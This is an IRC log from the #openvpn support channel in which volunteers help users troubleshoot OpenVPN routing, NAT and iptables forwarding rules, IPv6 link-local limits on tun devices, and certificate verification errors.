22:03 -!- lmm_ [uid6417@gateway/web/irccloud.com/x-vewqoguvffwbhdpr] has joined #openvpn
22:05 < toothe> pwned...
22:06 < toothe> so, i downloaded the right version, it appears
22:07 < toothe> just followed the readme, same problem
22:10 <+pekster> What's your vars file look like?
22:10 < toothe> just a moment, im goint to start over
22:10 < toothe> i screwed up the openvpn home directory
22:10 < toothe> im going to uninstall it and reinstall
22:10 < toothe> pardon
22:10 -!- saneki [~saneki@dedi2.ip1.zylongaming.com] has joined #openvpn
22:10 <+pekster> It doesn't really matter where you install easy-rsa if you have openssl in your %PATH% on Windows
22:11 -!- michaelhart_ [~michaelha@192-0-240-94.cpe.teksavvy.com] has joined #openvpn
22:11 < toothe> okay, so let me paste you my PATH...
22:11 < toothe> Files\OpenVPN\bin;C:\OpenSSL-Win32\bin
22:12 < toothe> hm..that didn't copy properly :-)
22:12 < toothe> %SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;C:\Program Files\OpenVPN\bin;C:\OpenSSL-Win32\bin
22:14 -!- michaelhart [~michaelha@162.209.54.120] has quit [Ping timeout: 248 seconds]
22:14 -!- michaelhart_ is now known as michaelhart
22:34 -!- Netsplit *.net <-> *.split quits: nutron, master_of_master, n2deep, @raidz_away, qwertyoruiop, WinstonSmith, Eagleman, Cy-Gor, toothe, phantomcircuit,  (+1 more, use /NETSPLIT to show all of them)
22:34 -!- Netsplit over, joins: phantomcircuit
22:34 -!- toothe [~mongolian@mail.janisary.us] has joined #openvpn
22:34 -!- Netsplit over, joins: n2deep
22:34 -!- Netsplit over, joins: Eagleman, qwertyoruiop
22:34 -!- WinstonSmith [~WinstonSm@bl12-7-149.dsl.telepac.pt] has joined #openvpn
22:34 -!- Netsplit over, joins: TheSov_
22:34 -!- Netsplit over, joins: Cy-Gor
22:34 -!- raidz_away [~raidz@raidz.im] has joined #openvpn
22:35 -!- raidz_away is now known as raidz
22:35 -!- phantomcircuit is now known as Guest94644
22:35 -!- Netsplit over, joins: nutron
22:35 -!- WinstonSmith [~WinstonSm@bl12-7-149.dsl.telepac.pt] has quit [Changing host]
22:35 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
22:35 -!- raidz [~raidz@raidz.im] has quit [Changing host]
22:35 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn
22:35 -!- mode/#openvpn [+o raidz] by ChanServ
22:39 -!- master_of_master [~master_of@p4FD7B54C.dip0.t-ipconnect.de] has joined #openvpn
22:39 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 240 seconds]
22:42 -!- Guest94644 [~phantomci@covertinferno.org] has left #openvpn []
22:43 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 265 seconds]
22:46 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
22:55 -!- michaelhart [~michaelha@192-0-240-94.cpe.teksavvy.com] has quit [Quit: michaelhart]
23:00 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 240 seconds]
23:00 -!- pkh [~pkh@192.73.237.189] has joined #openvpn
23:09 -!- Chrispm84 [~Chrispm84@adsl-98-67-192-138.shv.bellsouth.net] has joined #openvpn
23:09 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 240 seconds]
23:11 < Chrispm84> Just a quick question. Are there any good apps for managing OpenVPN on a linux box? I remember seeing something a while back, but I forgot what it was and can't find it for the life of me.
23:12 -!- C-S-B [~C-S-B@host86-173-99-181.range86-173.btcentralplus.com] has quit [Ping timeout: 240 seconds]
23:12 < Chrispm84> Ah, my bad, just found it. Thanks. :)
23:12 -!- Chrispm84 [~Chrispm84@adsl-98-67-192-138.shv.bellsouth.net] has quit [Client Quit]
23:14 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
23:18 -!- C-S-B [~C-S-B@host31-52-87-215.range31-52.btcentralplus.com] has joined #openvpn
23:56 -!- crass [~crass@99-88-246-175.lightspeed.austtx.sbcglobal.net] has quit [Ping timeout: 248 seconds]
23:59 -!- Eugennerz is now known as utkanos2
--- Day changed Fri Oct 11 2013
00:00 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
00:05 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
00:07 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
00:14 -!- pkh [~pkh@192.73.237.189] has quit [Ping timeout: 248 seconds]
00:17 -!- utkanos2 is now known as Eugene
00:26 -!- pkh [~pkh@192.73.237.189] has joined #openvpn
00:27 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
00:34 -!- mattock_afk is now known as mattock
00:44 -!- crass [~crass@99-88-246-175.lightspeed.austtx.sbcglobal.net] has joined #openvpn
00:46 -!- monsterco [~monsterco@64.231.107.224] has joined #openvpn
00:46 < monsterco> Hi every - I have a ca.crt and I have a server.conf - I also have one key - can I make more keys? I don't have the vars file
00:46 < monsterco> or any other files
00:52 -!- monsterco [~monsterco@64.231.107.224] has quit [Ping timeout: 252 seconds]
01:01 -!- novaflash is now known as novaflash_away
01:03 -!- novaflash_away is now known as novaflash
01:27 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
01:28 -!- pkh [~pkh@192.73.237.189] has quit [Quit: Leaving]
01:47 -!- elfixit [~Icedove@77-58-248-29.dclient.hispeed.ch] has joined #openvpn
01:50 -!- crass [~crass@99-88-246-175.lightspeed.austtx.sbcglobal.net] has quit [Ping timeout: 240 seconds]
02:05 -!- vamadir [~vamadir@222.33.11.71] has joined #openvpn
02:06 < vamadir> how to route all selective traffic to a client??
02:06 < vamadir> how to route selective traffic to a client??
02:07 < vamadir> no need redirect all traffic, just few web sites
02:09 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Read error: Connection reset by peer]
02:44 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has quit [Ping timeout: 240 seconds]
03:04 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has joined #openvpn
03:15 -!- fling [~fling@fsf/member/fling] has quit [Read error: Operation timed out]
03:21 -!- mattock is now known as mattock_afk
03:24 -!- mirco [~mirco@p50802589.dip0.t-ipconnect.de] has joined #openvpn
03:32 -!- xTz [xtz@DeathStar.Techn0.eu] has joined #openvpn
03:33 -!- afuentes [~afuentes@213.37.131.197.static.user.ono.com] has joined #openvpn
03:41 -!- vamadir [~vamadir@222.33.11.71] has quit [Read error: Connection reset by peer]
03:41 -!- vamadir [~vamadir@222.33.11.71] has joined #openvpn
03:46 -!- mikkel_ [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
03:50 -!- fling [~fling@fsf/member/fling] has joined #openvpn
03:53 -!- elfixit [~Icedove@77-58-248-29.dclient.hispeed.ch] has quit [Quit: elfixit]
03:54 -!- tyler_ [tyler_@host15-234-dynamic.9-79-r.retail.telecomitalia.it] has joined #openvpn
03:58 < tyler_> hello guys, i want know this ( i'm not expert ): with open vpn on ubuntu server, is possible to create a tunnel with other client without opening comunication port ???
04:39 -!- stefan__ [~quassel@028-216-180-132.vpn.uni-bayreuth.de] has joined #openvpn
04:43 -!- geaaru_ [~geaaru@host170-152-static.43-88-b.business.telecomitalia.it] has joined #openvpn
04:44 -!- MariusIT [~MariusIT@86.124.68.46] has joined #openvpn
04:52 -!- Denial [Denial@90.216.209.93] has joined #openvpn
04:58 -!- elfixit [~Icedove@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has joined #openvpn
05:00 -!- qwertyoruiop is now known as NatoshiSakamoto
05:01 < geaaru_> hi, I'm trying to use client-connect command with a script that create command on tmp file, but thent this temporary file is always available on /tmp directory. When and how can I remove these files ? thanks in advance
05:02 < geaaru_> remove must be done with client-disconnect script ?
05:37 < vamadir> where ovpn file??
05:41 -!- stefan__ [~quassel@028-216-180-132.vpn.uni-bayreuth.de] has quit [Ping timeout: 272 seconds]
05:48 -!- derRichard [~derRichar@pippin.sigma-star.at] has left #openvpn []
05:59 -!- atmosx [~bsd@gateway/tor-sasl/atmosx] has quit [Remote host closed the connection]
05:59 -!- mattock_afk is now known as mattock
06:28 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
06:31 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
06:32 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 248 seconds]
06:34 -!- mirco [~mirco@p50802589.dip0.t-ipconnect.de] has quit [Ping timeout: 272 seconds]
06:56 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
07:03 -!- BadAtom [~epigramma@supporter/active/BadAtom] has quit [Ping timeout: 268 seconds]
07:04 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
07:08 -!- g0z [gauze@entropy.tmok.com] has left #openvpn []
07:15 -!- pie_ [~pie_@77-234-81-128.pool.digikabel.hu] has joined #openvpn
07:15 -!- pie_ [~pie_@77-234-81-128.pool.digikabel.hu] has quit [Changing host]
07:15 -!- pie_ [~pie_@unaffiliated/pie-/x-0787662] has joined #openvpn
07:19 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has joined #openvpn
07:19 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has quit [Changing host]
07:19 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
07:21 -!- afuentes [~afuentes@213.37.131.197.static.user.ono.com] has quit [Ping timeout: 240 seconds]
07:28 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
07:29 -!- cali [~cali@unaffiliated/cali] has quit [Ping timeout: 252 seconds]
07:32 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
07:34 -!- afuentes [~afuentes@213.37.131.197.static.user.ono.com] has joined #openvpn
07:38 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
07:38 -!- mikkel_ [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
07:38 -!- pie_ [~pie_@unaffiliated/pie-/x-0787662] has quit [Remote host closed the connection]
07:38 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
07:39 -!- pie_ [~pie_@77-234-81-128.pool.digikabel.hu] has joined #openvpn
07:39 -!- pie_ [~pie_@77-234-81-128.pool.digikabel.hu] has quit [Changing host]
07:39 -!- pie_ [~pie_@unaffiliated/pie-/x-0787662] has joined #openvpn
07:41 -!- cali [~cali@unaffiliated/cali] has joined #openvpn
07:43 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 245 seconds]
07:51 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
07:53 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
07:56 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 272 seconds]
07:58 -!- master_o1_master [~master_of@p4FF24F6E.dip0.t-ipconnect.de] has joined #openvpn
07:59 -!- master_of_master [~master_of@p4FD7B54C.dip0.t-ipconnect.de] has quit [Read error: Operation timed out]
07:59 -!- pie_ [~pie_@unaffiliated/pie-/x-0787662] has quit [Remote host closed the connection]
08:05 -!- afuentes [~afuentes@213.37.131.197.static.user.ono.com] has quit [Read error: Connection reset by peer]
08:17 -!- pie_ [~pie_@unaffiliated/pie-/x-0787662] has joined #openvpn
08:27 -!- monsterco [~monsterco@64.231.107.224] has joined #openvpn
08:27 < monsterco> I have a ca.crt and servert.crt and a key-1.crt and a key-1.key - can I make a key 2 and key 3? I don't have the vars file but can make it
08:28 < monsterco> I mean is it possible to now create keys?
08:30 -!- Jaska__ [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has joined #openvpn
08:30 -!- Jaska__ [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has quit [Read error: Connection reset by peer]
08:30 -!- Jaska_ [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has quit [Read error: Connection reset by peer]
08:32 -!- Jaska_ [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has joined #openvpn
08:32 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has joined #openvpn
08:33 -!- vamadir [~vamadir@222.33.11.71] has quit []
08:35 -!- monsterco [~monsterco@64.231.107.224] has quit [Ping timeout: 248 seconds]
08:40 -!- monsterco [~monsterco@64.231.107.224] has joined #openvpn
08:41 -!- tyler_ [tyler_@host15-234-dynamic.9-79-r.retail.telecomitalia.it] has quit [Ping timeout: 248 seconds]
08:41 -!- MorgyN [~mig@island.morgyn.org] has quit [Ping timeout: 256 seconds]
08:43 -!- MorgyN [~mig@island.morgyn.org] has joined #openvpn
08:57 -!- pie_ [~pie_@unaffiliated/pie-/x-0787662] has quit [Ping timeout: 248 seconds]
08:59 -!- Jaska_ [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has quit [Read error: Operation timed out]
09:01 -!- Jaska_ [~Q@gprs-internet-bcee9f-24.dhcp.inet.fi] has joined #openvpn
09:09 -!- NatoshiSakamoto is now known as qwertyoruiop
09:15 -!- MariusIT [~MariusIT@86.124.68.46] has quit [Ping timeout: 240 seconds]
09:30 -!- monsterco [~monsterco@64.231.107.224] has quit [Ping timeout: 248 seconds]
09:30 -!- MariusIT [~MariusIT@86.124.68.46] has joined #openvpn
09:31 -!- Paddez [paddez@nat/dcunetworkingsociety/x-cuyykuiskvtkogot] has quit [Remote host closed the connection]
09:37 -!- pie_ [~pie_@77-234-81-128.pool.digikabel.hu] has joined #openvpn
09:37 -!- pie_ [~pie_@77-234-81-128.pool.digikabel.hu] has quit [Changing host]
09:37 -!- pie_ [~pie_@unaffiliated/pie-/x-0787662] has joined #openvpn
09:38 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Ping timeout: 240 seconds]
09:41 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
09:47 -!- toothe [~mongolian@mail.janisary.us] has quit [Quit: leaving]
09:48 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Remote host closed the connection]
09:48 -!- pie_ [~pie_@unaffiliated/pie-/x-0787662] has quit [Ping timeout: 248 seconds]
09:58 -!- Dave is now known as Dave2
10:00 -!- crass [~crass@99-88-246-175.lightspeed.austtx.sbcglobal.net] has joined #openvpn
10:24 -!- mndo [~mndo@bl16-44-43.dsl.telepac.pt] has joined #openvpn
10:31 < _quadDam1ge> Are there any known quirks/issues related to using link-local v6 addresses over a tun? I'm trying to get OSPFv3 running, HELLO packets get sent with the interface LL as the source addr, but DB description packets to the remote LL address fail with network unreachable.
10:31 < _quadDam1ge> Using BIRD, fwiw.
10:56 -!- elfixit [~Icedove@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has quit [Quit: elfixit]
10:57 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
11:09 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Quit: off to do some thoughtcrime]
11:10 < _quadDam1ge> it seems to me that OpenVPN is not adding an fe80::/64 route for the tun interface. for other tunnels that I have not configured for v6, a v6 LL address is added, along with the requisite fe80::/64 route.
11:14 -!- Riiiis_ [~Username@static-5-103-128-119.seas-nve.net] has quit [Ping timeout: 268 seconds]
11:14 < _quadDam1ge> Am I missing some bit of configuration perhaps? This is a simple ptp statically keyed tunnel. The only config I added for v6 was ifconfig-ipv6 and route-ipv6. http://pastebin.com/mEFFTwVH
11:14 -!- Riiiis [~Username@static-5-103-128-119.seas-nve.net] has joined #openvpn
11:17 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Remote host closed the connection]
11:17 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
11:19 -!- liriel [~liriel@aphrodite.feralhosting.com] has joined #openvpn
11:20 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
11:20 -!- cconstantine_ [~cconstant@c-24-5-192-14.hsd1.ca.comcast.net] has joined #openvpn
11:23 -!- rotor2 [c1317b15@gateway/web/cgi-irc/kiwiirc.com/ip.193.49.123.21] has joined #openvpn
11:23 < rotor2> Hello guys, my current network blocks UDP 1194. Any way to force the VPN client to connect to my account via TCP 443? Can't seem to figure it out. I am using Feral Hosting as server.
11:34 -!- rotor2 [c1317b15@gateway/web/cgi-irc/kiwiirc.com/ip.193.49.123.21] has quit [Quit: http://www.kiwiirc.com/ - A hand crafted IRC client]
11:48 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has joined #openvpn
11:49 -!- [1]JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has quit [Ping timeout: 245 seconds]
11:52 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 264 seconds]
11:58 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
12:20 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
12:24 -!- mirco [~mirco@89.204.138.165] has joined #openvpn
12:30 -!- kiyor [~kiyor@12.13.90.183] has joined #openvpn
12:33 -!- Jaska__ [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has joined #openvpn
12:33 -!- Jaska_ [~Q@gprs-internet-bcee9f-24.dhcp.inet.fi] has quit [Read error: Connection reset by peer]
13:00 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
13:04 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 272 seconds]
13:05 <+pekster> _quadDam1ge: You won't get LL addresses on an openpvn tun device, no. If you "really" want something like that, use some ULA space instead
13:05 -!- mndo [~mndo@bl16-44-43.dsl.telepac.pt] has quit [Ping timeout: 245 seconds]
13:06 <+pekster> _quadDam1ge: Windows might add in an unusable LL address thanks to the OS's DHCP process which will still make RA requests, but it's not functionally useful (or is it openvpn doing it)
13:07 <+pekster> s/or/nor/
13:21 -!- geaaru_ [~geaaru@host170-152-static.43-88-b.business.telecomitalia.it] has quit [Quit: Leaving]
13:44 -!- mirco [~mirco@89.204.138.165] has quit [Ping timeout: 272 seconds]
13:45 < _quadDam1ge> pekster: any idea if there is a best-practice for using OSPFv3 over OpenVPN...since LL functionality _isn't_? I tried forcing BIRD to use global v6 addresses. It kind of worked, but not in a useful way.
13:48 -!- MariusIT [~MariusIT@86.124.68.46] has quit [Ping timeout: 272 seconds]
13:50 -!- eddq [~eddq@li309-191.members.linode.com] has joined #openvpn
13:50 < eddq> Hi. I'm having trouble with my vpn. Can anyone help me debug the issue?
13:50 < eddq> Here's my tunnelblick logs and client config http://pastebin.com/j3Pr6SGD
13:53 < eddq> and my server config http://pastebin.com/Ja22inZX
13:54 <@krzee> those are configs
13:54 <@krzee> oh theres the log
13:54 < eddq> and this is my /etc/rc.local http://pastebin.com/GRWJvEJ8
13:55 < eddq> krzee: cheers for looking. I'm really stumped
13:55 <@krzee> im still trying to find out what the problem is
13:55 <@krzee> not connecting?
13:55 < eddq> I can connect and I can ping 10.8.0.1 fine, but once it is connected there is no internet traffic...
13:55 <@krzee> ahh
13:55 <@krzee> you run the server too, right?
13:55 < eddq> yeah
13:55 <@krzee> !redirect
13:55 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
13:55 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
13:56 <@krzee> follow the flowchart
13:56 <@krzee> to help me help you, let me know where you stop on that
13:56 <@krzee> i made it because i would ask you that series of questions, and it gets old typing the same thing over and over :D
13:56 -!- APTX [APTX@unaffiliated/aptx] has quit [Read error: Connection reset by peer]
13:57 < eddq> ok cool. two minutes...
13:59 < eddq> So I'm at is NAT enabled on the vpn subnet. Not sure how to answer that question...lacking the technical understanding
13:59 <@krzee> and also
13:59 <@krzee> !configs
13:59 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
13:59 <@krzee> show me your configs like that, i dont wanna surf through the comments
13:59 -!- Linmu [~Linmu@203.70.194.104] has quit [Ping timeout: 248 seconds]
13:59 <@krzee> also show me iptables-save
14:00 <@krzee> and ill answer your nat question
14:00 -!- Linmu [~Linmu@203.70.194.104] has joined #openvpn
14:00 < eddq> server.conf > http://pastebin.com/3cDvttCR
14:02 -!- mirco [~mirco@89.204.138.165] has joined #openvpn
14:02 < eddq> ran iptable -L >> http://pastebin.com/e7Y0y2GR
14:02 <@krzee> but i didnt ask for iptables -L
14:02 <@krzee> do you have iptables-save?
14:02 < eddq> oh sorry. i'm not a sys admin so not sure on everything...
14:02 <@krzee> type iptables-save
14:02 <@krzee> or copy/paste it into the terminal =]
14:04 < eddq> hmm. iptable-save on the server yielded nothing...
14:04 < eddq> am I missing something? both mentally or on the server ;)
14:04 <@krzee> ok then iptables -L -t nat
14:04 <+pekster> Then perhaps you have no netfilter table modules loaded, or failed to run it as an admin
14:04 <+pekster> (root)
14:04 <+pekster> iptables -L is awful for a number of reasons: https://www.pekster.net/staging/josh/md/iptables-L.html
14:05 <+pekster> And no, don't use the above command. If you _must_ (and have _no_ other choice) try `iptables -nvt nat -L` but please try to learn to use iptables-save
14:05 <@krzee> cool i gotta go anyways, you got it =]
14:05 < eddq> sudo did it... http://pastebin.com/8ZAuFBtV
14:06 < eddq> krzee: thanks a lot. been pulling my hair out trying to find a guide that goes off piste a little
14:06 -!- APTX [APTX@unaffiliated/aptx] has joined #openvpn
14:06 -!- APTX [APTX@unaffiliated/aptx] has quit [Remote host closed the connection]
14:07 <+pekster> eddq: line 48 in your netfilter rules; you're dropping _all_ forwarded traffic
14:07 <+pekster> This probably isn't what you want
14:07 < eddq> ahh... how do I go about rectifying that?
14:08 <+pekster> On top of that, line 54 drops traffic before line 55 could accept them (and line 56 is useless unless you use tap)
14:08 < eddq> ahh
14:08 <+pekster> Remove the rules blocking traffic? The better way to do filtering like this is to get your rules working how you want and then change your policy on the filter/FORWARD chain to DROP
14:09 <+pekster> All your rules on lines 52-56 are never consulted: you're dropping traffic for all forwarded packets
14:10 -!- APTX [APTX@unaffiliated/aptx] has joined #openvpn
14:10 <+pekster> You have the same problem at line 48
14:11 < eddq> ok two seconds... looking for those on the server
14:12 < eddq> hmm. are all the rules going to be in /etc/rc.local?
14:14 <+pekster> What's rc.local got to do with anything?
14:14 <+pekster> Are you calling iptables-restore there or something?
14:14 < eddq> no. sorry i'm not a sysadmin so netfilter rules are my outerlimit
14:14 <+pekster> Oh, good grief, no. Don't do what you're doing in that file for netfilter
14:15 <+pekster> How are the _rest_ of your rules getting populated?
14:15 < eddq> my rc.local looks like >> http://pastebin.com/zjWzVYwU
14:15 < eddq> and the rest I'm not really sure... (sorry(
14:16 <+pekster> Then you need to learn how your distro loads firewall rules. What your distro is doing is perhaps somewhat foolishly leaving the policy to ACCEPT with an explicit DROP or REJECT rule at the end
14:16 <+pekster> Thus your "extra stuff" in rc.local is worthless
14:16 <+pekster> What you should do is learn how your distro loads netfilter rules and update the rule file your OS is using on boot
14:17 <+pekster> What distro is this?
14:17 < eddq> ubuntu
14:17 < eddq> on a linode box
14:18 <+pekster> Wonderful. By default ubuntu doesn't do anything with your firewall unless you install some 3rd party package like ufw. I think these all suck and have a much more clean replacement: https://github.com/QueuingKoala/distro-scripts/blob/master/ubuntu/netfilter/05-iptables
14:18 <@vpnHelper> Title: distro-scripts/ubuntu/netfilter/05-iptables at master · QueuingKoala/distro-scripts · GitHub (at github.com)
14:18 <+pekster> The issue is that you're "appending" rules to a firewall config you have no clue how it works
14:18 <+pekster> Thus it won't do what you want becuase you apparently weren't the one to design it
14:19 <+pekster> You can probalby get what you want by taking that iptables-save output you showed earlier, remove lines 48, 51, and 54, then set your policies for FORWARD and INPUT to DROP and use the file I just referenced you to
14:19 <+pekster> Turn whatever junk you've installed to manage your firewall rules off and it should all work on startup
14:19 < eddq> ok. I think I have a lot of reading to do for the firewall rules
14:20 < eddq> but at least I know what is causing the issue now
14:20 <+pekster> Right. You had the right idea with the extra rules you needed, but that's not the right way to apply them (and breaks in your case)
14:20 < eddq> cool. I will get reading
14:20 <+pekster> I _think_ your rules look fine without those 3 lines, but you'll need to remove them, run the updated rules file though iptables-restore, and tweak as needed
14:21 < eddq> pekster: thanks a lot for your time and help
14:21 <+pekster> Then just remember to manage things yourself and not let extra magic do it for you
14:21 < eddq> gotcha
14:21 < eddq> I'll get tinkering
14:21 <+pekster> Yup. #netfilter is a more on-topic place to learn about netfilter fundamentals (they have wonderful links in the /TOPIC there) too if you get stuck
14:21 < eddq> brilliant cheers
14:23 < eddq> I'm gunna spend a few hours giving all this a go. thanks again
14:23 < eddq> bye
14:23 -!- eddq [~eddq@li309-191.members.linode.com] has left #openvpn []
14:24 <+pekster> _quadDam1ge: You can't do multicast over a tun link; you'd need tap for that
14:31 <@ecrist> heh.  just got done telling him we'll need to go to tap
14:33  * ecrist poofs for the weekend
14:40 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Quit: off to do some thoughtcrime]
14:55 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
14:57 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Client Quit]
15:00 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
15:07 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Quit: off to do some thoughtcrime]
15:10 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
15:18 -!- cconstantine_ [~cconstant@c-24-5-192-14.hsd1.ca.comcast.net] has quit [Read error: Connection reset by peer]
15:24 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
15:28 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
15:45 < JackWinter> this is normally a firewall problem right? https://gist.github.com/anonymous/6941728
15:45 <@vpnHelper> Title: gist:6941728 (at gist.github.com)
15:46 <+pekster> JackWinter: Yes, since there's no "initial packet received" message that peer isn't even getting a reply packet
15:46 <+pekster> It could possibly also be mismatched --tls-auth settings too
15:49 < JackWinter> pekster: it used to work before, i wonder why it's stopped working...  the port is forwared in the nat routing dls modem, for all i can see the port is open in the firewall on the server
15:49 <+pekster> Then do the usual troubleshooting stuff and see where the packet gets lost (tcpdump and such)
15:53 < JackWinter> pekster: i checked the --tls_auth setting too and the path/file and option are also correct.  will go to more basic network trouble shooting :)
15:53 < JackWinter> thanks for confirming
16:08 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 272 seconds]
16:29 < JackWinter> was a dyndns error :)  now i'm no longer on dyndns.com...
16:30 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
16:30 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 248 seconds]
16:46 -!- mirco [~mirco@89.204.138.165] has quit [Ping timeout: 265 seconds]
16:51 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Ping timeout: 245 seconds]
16:55 -!- roue_ [~roue@66-188-204-44.dhcp.roch.mn.charter.com] has joined #openvpn
16:55 < roue_> hola
17:00 -!- mattock is now known as mattock_afk
17:01 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
17:12 -!- nutron [~nutron@unaffiliated/nutron] has quit [Quit: I must go eat my cheese!]
17:12 < crass> if nobind is specified in the config file is it possible to override that on the cmdline?
17:17 <+pekster> crass: Use --lport after the --config line
17:19 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
17:26 -!- Denial [Denial@90.216.209.93] has quit []
17:28 -!- kiyor [~kiyor@12.13.90.183] has quit [Read error: Connection reset by peer]
17:28 -!- kiyor [~kiyor@12.13.90.183] has joined #openvpn
17:58 -!- atmosx [~bsd@gateway/tor-sasl/atmosx] has joined #openvpn
18:07 < crass> I'm getting some certificate error when trying connect: log=https://privatepaste.com/0491fdec42, config=https://privatepaste.com/a9e021c29c
18:08 < crass> I see an error about a self-signed cert, but is that what's causing it to fail?
18:22 < crass> could it be that I'm getting a different cert from the server than the one in my config?
18:25 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 272 seconds]
18:25 <+pekster> crass: Your config shouldn't have the one "from the server" -- you need the _CA_ cert
18:27 <+pekster> The cert presented by the remote end includes the CA cert, and that cert must have been signed by the CA for which your local end has the CA cert
18:27 <+pekster> Sounds like your server wasn't
18:27 < crass> hmm, I'm giving a <ca> cert in the config
18:29 < crass> FD: this config is autogenerated by vpngate soft, and this is a public vpn, so I assume the config is correct (mostly)
18:29 <+pekster> Without knowing the server-side setup you can't know what's going wrong then; ask them
18:29 < crass> is there a way to have the client disregard the self-signed cert? or ca verification?
